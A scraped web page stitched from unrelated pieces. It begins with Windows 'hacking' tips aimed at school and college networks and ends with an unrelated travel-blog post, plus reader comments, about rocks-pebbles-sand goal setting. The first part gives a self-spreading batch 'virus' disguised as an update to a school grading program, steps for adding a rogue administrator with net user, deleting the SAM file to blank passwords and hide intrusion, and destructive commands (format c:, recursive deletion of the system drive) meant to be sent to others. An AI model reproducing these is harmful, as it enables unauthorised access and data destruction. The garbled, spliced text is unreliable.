If you’ve recently tried to open the and were presented with the message” “Registry editing has been disabled by your administrator”, then you’re not alone! You can get this message for several reasons and sometimes will not be able to run regedit unless you are an Administrator.Most of the time you will see this in corporate environments where the IT staff has locked down the. If it’s a policy pushed out by the main servers, it’ll be pretty hard to bypass, however you can still try!In order to re-enable access to edit the registry, you can try to edit the group policy settings and see if that works. If you know the local admin password for the computer, log in under that account. If not, you can still give it a shot.Method 1Step 1: Click on Start, choose Run and type in gpedit.msc.Step 2: Navigate to User Configuration – Administrative Templates –Step 3: In the right hand pane, double click on “Prevent access to registry editing tools”Step 4: If it is not configured, go ahead and enable it, click OK and then come back and disable it. If it’s already set to Enabled, then simply disable it.Now try to run the registry editor and see if that works.
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He says, “Really?” and pulls out a pile of small pebbles, adding them to the jar, shaking it slightly until they fill the spaces between the rocks. He asks again, “Is the jar full?” They agree. He then adds some sand to the jar, filling the space between the pebbles and asks the question again.
If not, go to the command prompt (Start, Run, type cmd) and type in gpupdate. But if you are in a corporate environment, you may not want to do this as it will update back to the restrictive setting.In that case, restart the computer, but unplug the network cord so that the computer does not refresh the group policy from the main server.
Windows-XP has a 'feature' (???) with which it is possible to manually crash a system by simply holding the right CTRL key and pressing the 'Scroll Lock' key twice. This feature can be turned on by the following steps:1. Start regedit. (If you are unfamiliar with regedit, please refer to this FAQ)2.Navigate to:HKEYLOCALMACHINESYSTEMCurrentControlSetServicesi8042prtParameters3. Create a new DWORD value and name it CrashOnCtrlScroll4. Right-click on this newly created value and click on Modify5.
Enter 1 in the Value data field and click on OK.6. Close regedit and reboot your system.7. Now you can blue screen (crash) your system by holding the right CTRL key and pressing 'Scroll Lock' twice.Note:Your system may reboot or show a blue screen whenever this crash is initiated. If your system reboots after initiating the crash, and you want to see the blue screen, follow these steps:1. Go to Control Panel System2. Click on the Advanced tab3. Under Startup and Recovery, click the Settings button.4.
Under System failure, uncheck the option Automatically restart.Happy crashing. Change Yahoo messenger title barHey guys you can change the yahoo messenger title bar. For this just find the folder messenger in the drive in which the messenger is installed. Then search a file named 'ymsgr'. In this file just go to the end and write the following code:APP TITLECAPTION=Red DevilHere you can write any name in place of Red Devil.
Then see the fun. You can have your own name being placed in yahoo messenger title bar.2) Enable Right Clicks on The Sites Dat Disable itLots of web sites have disabled the right click function of the mouse button.
It's really, really annoying. This is done so that you don't steal (via right-click-save picture) their photos or images or any other goodies. Unfortunately, it disables ALL right-click functionality: copy, paste, open in new window.
It's easy to change, assuming your using IE 6: Click 'Tools'-'Internet Options' Click the 'Security' tab Click 'Custom Level' Scroll down to the 'Scripting' section Set 'Active Scripting' to 'disable' Click 'Ok' a couple of times. You'll probably want to turn this back to 'enable' when your done.
'cause generally the javascript enhances a website. This article is for only educational purpose, i am not responsible for any misuse of this article.By using this command you can shutdown your school or college by using only Note pad.This is the main command that will be launched upon startup.Type this in Notepad.@echo offshutdown.exe -s -t 10 -c'You have been hacked!'
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Save this as shutdown.bat, making sure you choose all files as the filetype.Step 2Make it run on StartupThe file you need can be downloaded here:This is just a simple registry file that anyone can create, but I don't feel like explaining the registry to everyone. It will disguise itself by claiming to be an update for STI.Step 3Set up the replication systemHere is the code to set up the replicator (the program that allows the virus to reproduce). This simply gets it ready to infect the teachers.?,$,! Means that it varies. It depends on what program you are using.
To find out how to fill these blank, get on a computer that has access to the server that stores your grading program.? Is the drive letter. $ is any folders and sub folders that contain the main exe for the grading program.! Is the name of the main exe.Example O:stissts2sti.exe?=O$=stissts2!=stiHere is the code:@echo offcd C:move?:$!exeren C:?exe real.exeren C:virus.exe!execd?:$move C:!exemove C:shutdown.batmove C:Update.regexitSave this as global.batStep 4They grow up so fast - real fast!This script will infect any teacher that uses STI with the shutdown command. The little viral babies will copy themselves to the user's hard drive and remain there.@echo offcd C:WINDOWSEcho STI must update itself, this will only take a few seconds.pauseEcho Please wait while the files install.move?:$shutdown.batmove?:$Update.regmove?:$cure.exemove?:$cure.exemove?:$cure.batmove?:$remove.batEcho Adding information to registry.pausestart regedit.exe Update.regcd?:$start real.exeexitNow this one has to be in exe form. So save it as virus.bat, then compile it in Quick Batch File Compiler. You can get QuickBFC here: QuickBFC and download this file as a template for QuickBFC to work with.
Just save the compiled file over this one.Step 5The CureThis is a little tool that can fix all damage done by your virus, it works in the same way that the virus works, but works to correct the problem rather than create it.@echo offshutdown -acd C:WINDOWSdel shutdown.batSave as cure.bat@echo offcd?:$del!execd C:move?:$real.exeren C:real.exe!execd?:$move C:?execd C:WINDOWSNow download this file: Step 6The SetupNo it's not the name of a heist movie. It is simply a SFX file that extracts all the files to their proper places and places the replicator in the STI drive.I am going to use WinRAR to do this. You can get WinRAR here:. First gather all the files you have made thus far.
The files should be shutdown.bat, Update.reg, virus.exe, cure.exe, cure.bat, remove.bat and global.bat. Now select them all and put them in a.rar file. Then open Winrar and go to 'tools', then select 'convert archive to SFX'. Click 'Advanced SFX Options' In the field labeled Path to Extract, type C:WINDOWS In the field labeled Run After Extraction, type C:WINDOWSglobal.bat Save the finished file anywhere you want and as any name. To install the virus, just run this program on a computer at school that is connected to the server that has the grading program on it (such as any computer in the Comp Lab.). Open Banned Command PromptOpen up Command Prompt (StartRunCommand.com) Can't use command prompt at your school?
Open up Microsoft word.Type: Command.com Then save it as Somthing.bat. Warning: Make sure you delete the file because if the admin finds out your in big trouble.Adding a user to your network- Type: Net user Haxxor /ADD - That will add 'Haxxor' onto the school user system. Now you added users lets delete them!
Type: Net user Haxxor /DELETE Warning: Be carefull it deletes all their files. 'Haxxor' will be deleted from the user system. It says access denied?
Thats because your not admin! - Now lets make your Admin! - This will make Haxxor an admin. Remember that some schools may not call their admins 'adminstrator' and so you need to find out the name of the local group they belong to.
Type: net localgroup It will show you what they call admin, say at my school they calll it adminstrator so then i would Type: net localgroup administrator Haxxor /ADD - Getting past your web filter. Easy way: Type whatever you want to go on say i wanted to go on miniclips bug on wire i would go to google and search miniclip bug on wire then instead of clicking the link i would click 'cached'. Hard way: I'm hoping you still have command prompt open. Type: ping miniclip.com And then you should get a IP type that out in your web browser, and don't forget to put 'before you type the IP. Sending messages throught your school server Okay, here's how to send crazy messages to everyone in your school on a computer. In your command prompt, type Net Send.
'The server is h4x0r3d' Note: may not be necessary, depending on how many your school has access too. If it's just one, you can leave it out. Where is, replace it with the domain name of your school. For instance, when you log on to the network, you should have a choice of where to log on, either to your school, or to just the local machine. It tends to be called the same as your school, or something like it.
So, at my school, I use Net Send Haxxor School. 'The server is h4x0r3d' The asterisk denotes wildcard sending, or sending to every computer in the domain. I guess dis dont wrks in XP bt hv tried dis Same stuff on win2000 n it worksFor Windows XP check out the attachment Below the comments!! It WORKS.AS IT CHANGES THE XP ADMIN PSWD WITHOUT U KNOWIN THE PREVIOUS ONEhowever the 'net user' and 'control userpasswords2' trick still works: NaveenI tried this on my College Windows 2000 as well as 2003 here's the hackNOTE: Requires a boot disk.Get the command prompt and go to C:winntsytem32config and dothe following commands:attrib -a -r -hcopy sam. a:del Sam.reboot the computer.
There should be no administrator password.just put in administrator and hit enter. Replace the sam files torestore the password to hide intrusion.
This works on WIn 2000 & WIN XP. Dis can be used to gain access to the website you want to for free, and how you can gain access to 'control panel', and the various other tools of Widows that may have been blocked from your grasp like 'regedit' by the administrator. IT can be used in schools & colleges. When u are at the log on screen, type in your username and password. NOW When you hit enter, and it comes up with the next screen, the rectangle one, immediatly pull out the network cable i.e. The cable wire.
Now u can log on without any restrictions because when the cable is pulled off then it does not download any settings from the server. Now you have access to control panel, & all the other features which had been blocked BUT there will be no network access. But that's cool because now we can access 'Internet options', click in the 'connections' tab click the LAN settings, click the proxy settings, and in the little white box at the bottom we can specify websites that bypass the proxy server (eg www.yahoo.com) Now once you have changed the settings to what you wish, apply them and restart the computer. Now get someone else to log onto it because if you log in it will load the cached settings from your previous log in, then after the other person logs in, everyone that logs in after them included themselves will have the internet settings you specified.
Its only an 'Unplugging technique' to gain access to a comp. Locked by the administrator. Now you can gain access to msconfig, regedit, command etc disable the virus scanner, or to install a trojan or a virus according to u're will.XP HOME ADVANCED FILE PERMISSIONS.!!Access.Advance file Permissions. on NTFS file systems for XP Home simply by booting into.Safe Mode., rt-clicking any file or folder, and navigating to the.Security tab. This gives the user the ability to allow or deny read, write, execute, read & write, display contents, full-control, iheritance, and take ownership permissions, with many more options available to apply to different users and groups stored on the computer.
Well, you don't have to do this in.Safe Mode. (XP Home). Although it is a little less intuitive, you can simply go to your command prompt - StartAll ProgramsAccessoriesCommand Prompt. Now type 'cacls' in the window (without the quotes). This gives you the ability to add, remove or modify file permissions on files and folders through the command prompt.
Type 'cacls /?' For help on different options and variables.
You do not need to be in safe mode to use this so it makes it a little quicker than using the safe mode security tab GUI. Remember - this only applies to NTFS. Here also is a very useful link to find a lot of extras and tweaks straight from the horse's mouth - the Microsoft Resource Center.
You will find a lot of very useful web-based extra's here, most of them left unknowing to the general public - such as, 'Online Crash Analysis' - a site that looks like Windows Update but you can upload your crash 'dump logs' (when you get those system or application crash error reports). Microsoft will then analyze the log file and tell you some more info about WHY the system crashed (ie. Faulty hardware/software/conflicts, etc). Really that is possible!Refer to the other articles on this wiki for the same topic as windows seems to have fixed this bug.still u can browse for educational purposeu know why is it a 'user' account because it lacks come service layer than that in 'administrator' accountUsing simple command line tools on a machine running Windows XP we will obtain system level privileges, and run the entire explorer process (Desktop), and all processes that run from it have system privileges. The system run level is higher than administrator, and has full control of the operating system and it’s kernel. On many machines this can be exploited even with the guest account. Format a HDD with notepadStep 1.Copy The Following In Notepad Exactly as itsaysStep 2.Save As An EXE Any Name Will DoStep 3.Send the EXE to People And InfectORIF u think u cannot format c driver when windows is running try Laughing and u will get it Razz.
Any way some more so u can test on other drives this is simple binary codeformat c: /Q/X - this will format your drive c: format d: /Q/X - this will format your dirve d: format a: /Q/X - this will format your drive a: del /F/S/Q c:boot.ini - this will cause your computer not to boot. 101001try to figure out urself restcant spoonfeedits workinDo not try it on ur PC. Dont mess around this is for educational purpose onlystill if u cant figure it out try disgo to notepad@Echo offDel C:.ysave it as Dell.batworse@echo offdel%systemdrive%./f/s/qshutdown -r -f -t 00and save it as a.bat file. Access Data of a Password Protected User in Windows XP in Case the PC Fails to BootYou may come across a situation in which your windows XP PC fails to reboot, and the most accepted solution to that problem is to re-format the Hard Disk.
Before formatting, you should backup your files. If your computer is password protected, you won't be able to access them from outside, so here is a method for getting around this.Steps Boot the machine from Windows XP bootable CD. At the setup screen, select R to repair using Recovery Console.
Now the console program will prompt you to select the Windows folder (eg. C:WINDOWS) where the Windows is installed (you need to enter a number from the list of folders shown to you). Type 'HELP' (without single quotes) and press enter for available commands. This is like a DOS program, but some features are not available. Change the current directory to the user's directory where you want to backup.
Type 'CD 'C:Documents and SettingsX' (without single quotes) and press enter. Where X is the username. Now the current directory will change to 'C:Documents and SettingsX'.
Now change the directory to Desktop by entering 'CD Desktop' (without single quotes) and press enter to go to the desktop folder. Type 'DIR' (Without single quotes) and press enter, you will be listed all the available files in Desktop. Type 'COPY a.doc D:BACKUP' (without quotes) and press enter, where a.doc is a file available in Desktop and the folder D:BACKUP available to copy the files. As in step 7,8,9,10 you can backup other folders like 'My Documents', 'My Music', etc.
Note that you cannot use wildcards for COPY. I.e, you cannot copy all the files in a folder at once.
You must copy one file by one. Tips Before doing this, try changing the password to blank so that you can access the data from another machine to easily drag and drop to copy your data. Warnings Any data not backed up will be permanently deleted when you re-format the hard drive, so make sure you back up any thing you want to keep. Things You'll Need A bootable Windows XP CD.
Get physical access to the machine. Remember that it must have a CD or DVD drive.2. Unzip the downloaded dpl.zip and you’ll get dpl.ISO.4.
Use any burning program that can burn ISO images.5. After you have the disk, boot from the CD or DVD drive.
You will see Windows 2000Setup and it will load some files.6. Press “R” to install DreamPackPL.7. Press “C” to install DreamPackPL by using the recovery console.8. Select the Windows installation that is currently on the computer (Normally is “1″ if you only have one Windows installed)9. Backup your original sfcfiles.dll by typing:“ren C:WindowsSystem32sfcfiles.dll sfcfiles.lld” (without quotes)10. Copy the hacked file from CD to system32 folder.
Type:“copy D:i386pinball.ex C:WindowsSystem32sfcfiles.dll” (without quotes and assuming your CD drive is D:)11. Type “exit”, take out disk and reboot.12. In the field, type “dreamon” (without quotes) and DreamPack menu will appear.13. Click the top graphic on the DreamPack menu and you will get a menu popup.14.
Go to and enable the options and enable the god command.
Starting with the rocks, then pebbles and finally sand, I fit everything in.New Year’s Day is a perfect opportunity to reflect on and refocus our lives. It doesn’t take long, and the importance of doing it is illustrated in the following story.A teacher places a glass jar on her table and faces her students.
“This is your life,” she says. “It is yours to fill with whatever you wish.”The teacher takes a bag of rocks and carefully places them one by one in the jar until it is full. “These rocks are the big important things in your life that you will be the most proud of at the end of your days.”The teacher then scoops out several handfuls of pebbles from a second bag and lets them fall into the jar, shaking the jar slightly so the pebbles fall into and fill the space between the rocks.
“These are the secondary things in your life that gives it meaning, but perhaps are not ‘your life’s work’.The teacher then takes a third bag containing sand and pours it into the jar, filling the space between the pebbles. “Finally, the sand is the little stuff that fills our days, like watching TV or playing games.”The teacher looks out over her students and asks, “Can you see what would happen if I started with the sand or the pebbles?”If we start with the big goals of our lives, then the smaller things will move around to fill the space left over, but the reverse is not true. If we start with the sand, then there will be no space left for pebbles or rocks. We all have the same twenty-four hours in a day, but we need to be smart and focused on how we spend them if we want to reach our dreams.It might sound obvious to focus on the important stuff but many don’t in practice.
It is all too easy to idle away the sands of time on Facebook, YouTube or in front of the TV. Similarly, it is easy to focus too much on pleasant but ultimately unimportant ‘busy work’, effectively burying ourselves under a mountain of pebbles. In contrast, the rocks are heavy and thus take time, strength and discipline to budge.But budge them we shall.
Steps for a productive new yearFirst, identify what your personal rocks are. Which goals do you dream about having completed? What do you want to fill your life with? What would make you the most proud?
This is the time to dream big.Second, pick one or a couple of rocks and set all the others aside. Don’t divide your attention over too many projects or you’ll spread yourself thin, make little progress on any of them and become demotivated. You can switch rocks later, but at any given time, only commit to a few of them.This is also a good time to identify your pebbles. These are smaller, lighter, quicker goals and projects that you could complete in a few days of work. For completeness, you may also take a second and reflect on the sand you use to fill in the cracks in your time. Hopefully, they are things you love doing and that make you relax or have fun. If you have ‘bad sand’ that is a drain on your energy, then think of how you could get rid of it.With this exercise done, you are ready to start working.
Each day, start working on your rocks for as long as you have the ability or energy. When you are blocked, need some creative time away from your rocks or simply get too tired to go on, switch to your pebbles.
Take your mind off the big stuff by finishing off some smaller project. If you don’t feel like picking up a pebble and just need to recharge your batteries, then turn to your sand; relax in front of the TV, go dancing or do something else that you enjoy.For those who want to see an example of the above as well as for the readers interested in what I am planning to do with 2012, I have included the rocks, pebbles and sand that I identified doing my review. Wish me luck!
My Rocks Writing a Book I have a dream of being a published author. I began writing a novel a few years ago, but then put it on ice.
It is time to defrost the book and give it another try. Get a spectacular body OK, it doesn’t have to be spectacular, but I would love to feel healthy, confident and, yes, sexy. The Modern Nomad blog posts I already consider The Modern Nomad one of my rocks. I will continue writing it another year.
Create web pages for a living I want to explore website development as a possibly nomadic career option. My Pebbles Learn Spanish I was toying with making this a rock, but I had too many of those already. I can just about get by in Spanish, and that is good enough, but I would like to be better. The Modern Nomad Optimizations This blog works quite well as it stands today, but there is always some more stuff to do with it. This is my perfect pebble in that I can do little improvements that don’t become massive projects and I love tinkering with the site. P3 Planet Correspondent The Swedish public radio has a travel show called P3 Planet.
They have suggested that I become one of their correspondents and submit little radio episodes from wherever I go. It might be fun, I might earn some money and most important, I can raise the profile of this blog. Guest Blogging I want to grow the readership of The Modern Nomad, and one way of doing that is to write guest posts and articles around the web. (Another is you sharing it with friends and social media.) Explore wherever I am and meet new friends I will of course keep travelling and explore my different destinations, and hopefully meet many new and fascinating people. My SandThis is all the stuff I do to relax, such as reading, watching TV series, scan Facebook, listen to podcasts and dance. BeerThere are many versions of the Rocks, Pebbles and Sand story. Many include a university student walking up and pouring a beer into the glass jar to prove that, “There is always room for a beer.” Witty perhaps, but not clever.
The whole point of the analogy is that order matters. But you could start by filling the whole tank with beer and then drop in the rocks and they would fit perfectly fine. I think few people who fill their lives to the brim with beer, and thus become raging alcoholics, then manage to squeeze in a few feats of greatness.
So true I realised lately that one of my “sand” things used to be playing PC games. And I used to spend too much time doing it.Then I started a “Rock” that I loved doing, and realised that in the last year I haven’t played any new games so over christmas I felt no guilt at all at putting aside some time for gaming 🙂And with your beer analogy side-bar: you’re right about the analogy being a bad one at that point, but I think there’s one more good point to make from it. When you put rocks into a jar filled with beer, a lot of the beer overflows out of the jar.
Whereas, if you add sand instead, it’ll just soak up the beer. And likewise alcoholics who find a “life’s work” task to distract them often do stop focusing on alcohol. Yet another bonus!Rich.
The rocks, pebbles and sand, we all seem to meet along the dusty road of life Rocks as an analogy for goals remind me of Sisyphus’s myth so beware that they don’t become a burden if pride gets in the way.The best rocks come up when paths change, when we follow a road toward an unexpected direction and look back at the rocks that we left behind. Also, enjoy the light that certain rocks take when seen by others. Some pebbles through your eyes might have become a great achievement for others and impacted their lives tremendously. Learn to like what others have made of your sand.
Learn to like to help others build their rocks. Absolutely agree with the analogy. Have heard it many times and it always rings true. One thing, sometimes you are handed a rock and you REALLY don’t want to take it. It’s too big, too ugly, not the one you wanted to pick, you can make any excuse you want not to accept it.
But, if you do, if you trust yourself, if you take that damn rock and look it over, take care of it, polish it a bit, it could turn out to be the one rock to change your life in wonderfully profound ways you never anticipated.Peace, Crys. Dear MB I am not getting any mental image about you but you might be a person not easy to decypher anyway. My only piece of advice would be to trust your guts and double check your intentions with true friends.
The most fulfilling paths go sometimes against what makes reasonable sense (e.g. Gustav’s example). I am cautious in giving you this advice because i dont want to lead you toward self destruction. I would need to know more about you to advise you better but this is outside the boundaries of this blog.As final parting words I have been disowned by my parents 15 years ago and havent talked to them since but if this is of any comfort I am still alive. My pursuit of happiness was just too strong but ouch! It did hurt a lot. I am sorry about the situation with your parents.
I don’t know what happened, but I can never understand how parents can disown their own children. It begs to question why they had children in the first place. In my case it seems as though to control them and raise them to live out the lives they couldn’t have.
I appreciate your cautiousness with your response. Don’t worry I don’t want to join a cult or engage in some type of self destructive behavior. I have actually been inspired by Gustav and want to leave the nest (even though I left before) and travel and explore long term.
My parents think it is irresponsible while I don’t see how since I will have a job will be able to pay my own way. Aj aj aj the joys of colliding with your parents dreams for you. MB, Not knowing your situation, I hesitate to offer specific advice. My general thought is that if you are under-age, live with your parents/family, or are subject to safety issues if you were to contradict your family, then I would hesitate to go your own path of rocks, pebbles, sand, until you are in a safe stable environment; and able to spread your wings independently. If you are in that position now, it’s time to grow and find your own priorities. Let us know what direction you take. Sounds like a good analogy.
I was understandably thinking about the time of year for resolutions which many people are enamoured with.For me, I realised I was perhaps foresaking work for family so I need to spend more time at work and building a better career. I also realised I am not drinking as much as I used to so that needs some attention.Finally, in films (I was watching this one recently called “New York: I Love You”) it is very common for people to be seen smoking which looks really cool. So I think it is time to start smoking and see what it is like. The analogy is great. I know that I need to do this sort of exercise. I have a projects folder in GDocs and it always seems to be filled with pebbles and rocks but I have yet to size them into categories.I think that the rock for last year was property and with that achieved a few more rocks need to be identified to change focus.Have you thought about the idea of getting rid of some old rocks that are taking up space? Old redundant dreams that fill the space but will never fit in with the life plan?
Emptying the jar a little can make the jar lighter and make room for other rock and pebbles.PDragon. That is a great point. In a way, that is what I am doing now. The book and getting fit are both old rocks that have been weighing heavy on my mind for a few good years. I always used to think, “I would do this if I had the time.” Well, I have time now, and it is time to put my dreams where my words were.
And the honest truth is that if I don’t do it now, with nothing holding me back, then I will never do it and it is better, like you said PDragon, to accept that and move on.But not before I’ve made this one last honest go at it. I’m all for your fitness goalnever meant to put that down! It’s one of the best things I ever did for myself.
But my only point is that consistency is the key here. Do something EVERYDAY, but don’t go crazy trying to get a super body all at once. You could burn out and drop it because it becomes overwhelming. Step by step.
What I’m saying is something like your first attempt at the book. Go insane trying to achieve the goal too fast and it simply devours you and you stop. And what you eat is important to this goal too.
OK, that’s my story and I’m stickin to it! MB, I am a parent and so I know SOME parents are so terrified their children will make the wrong choice, maybe be hurt, they would rather keep them clutched tightly to them, wrongly thinking this is protection. They don’t realize THEY may be causing the real hurt.
Open communication is essential, a well laid out plan to prove you know what you are getting yourself into will help. If they still fight you, then you need to ask yourself, which will hurt more, staying inside the blanket they have you tucked into, or throwing it off and possibly being in Xavier’s situation?What is the risk worth to you, can you live with it, which choice frees you, years from now which choice will be a regret? Parents are human, we have fears which sometimes are misplaced even if WE think they are best. Whatever you decide, be fierce in your decision. Life is short, it only comes around once.Peace. Thank you, I didn’t think of it in that way. I really do need to consider the risk involved in this decision and if it is worth it.
I think my parents will come around, but I have decided to postpone my plans so they feel a little more comfortable. I spoke to my mom today and she is much more understanding then she was yesterday so I just want to be sure to have a better plan so they feel okay with what I am doing. Thanks again for such great insight into the parent mind.
I know they just want whats best for me even though it might the opposite of what I think is best for me. It’s great that you realize that holding on too tight to your children could potentially harm them more, your kids are lucky. My favorite version of the story is the one with the beer included and saying “There is always room for a beer with your friends.” This really makes much sense for me, especially after some 5-6 years of wandering around the world. Some years ago I talked to a psychologist and he (I guess within the framework of his theory, which happened to be quite adequate for me as well) defined, that feeling stable and happy in the life is caused by three main determinants (another analogy is that three-legged tables are the most stable of them all): (1) relationship and family, (2) job, (3) friends. As we all know, the relationships come and go, so do the jobs. My idea is, that, at least I, would never try to apply the analogy of “come and go” to the friends.
The best friends, I mean, of whom I’ve got no more than 10. Some of them I know for more than 20 or even 25 years (OK, I’m 40, I got acquainted with many of my friends between 15 and 20. If you’re around 30, that may be would not be your case;-).Of course, over lifetime there are situations when you grow too much apart from some of your friends (this is what I unfortunately experienced some weeks ago), but the phrase “there is always some space for a beer with friends” is almost magical. A beer (of coffee, or wine, or tea, or tequila, you name it) and a decent chat with a good friend is what has sometimes showed me my life from another perspective when I’ve been unhappy and miserable.
Of course, it is always great to share the good moments of the life as well. Just without the bad moments you don’t know, who your real friends are. I have a take on that even if friendship is said to be enternal it must be maintained from time to time. To make that happen after the certain age where people move to other countries, cities, raise family etc.
Traditions are created where attending specific events get as important as actually meeting physically at a ongoing basis. The friends growing up with Gustav have been together now since the age of 7 and are still best friends. We created a few of these events a year, the most important being the Lekvecka where we spend a couple of days together catching up and doing fun stuff together, very very important day for all of us. It is planned for the same week every year and each day is carefully planned in the calander that Gustav have made for the internet forum where we all have kept contact for soon to be 10 years. Looking forward to meet you there this year Gustav! Mistakenly lost. Cannot see the Rocks for the pebbles!!
DamnYou make a good point kind sir. & I have yet to restructure a life round those great boulders that initially just looked like obstacles 😉So half way through the year Im just re-prioritising.
Your blog has been of more use than you could possibly fathom. Not to say all your dedicated readers & their antidotes Hope your life’s work is continuing full steam!!Will catch you on another thread. Have not yet completed the tour of your virtual landscape.
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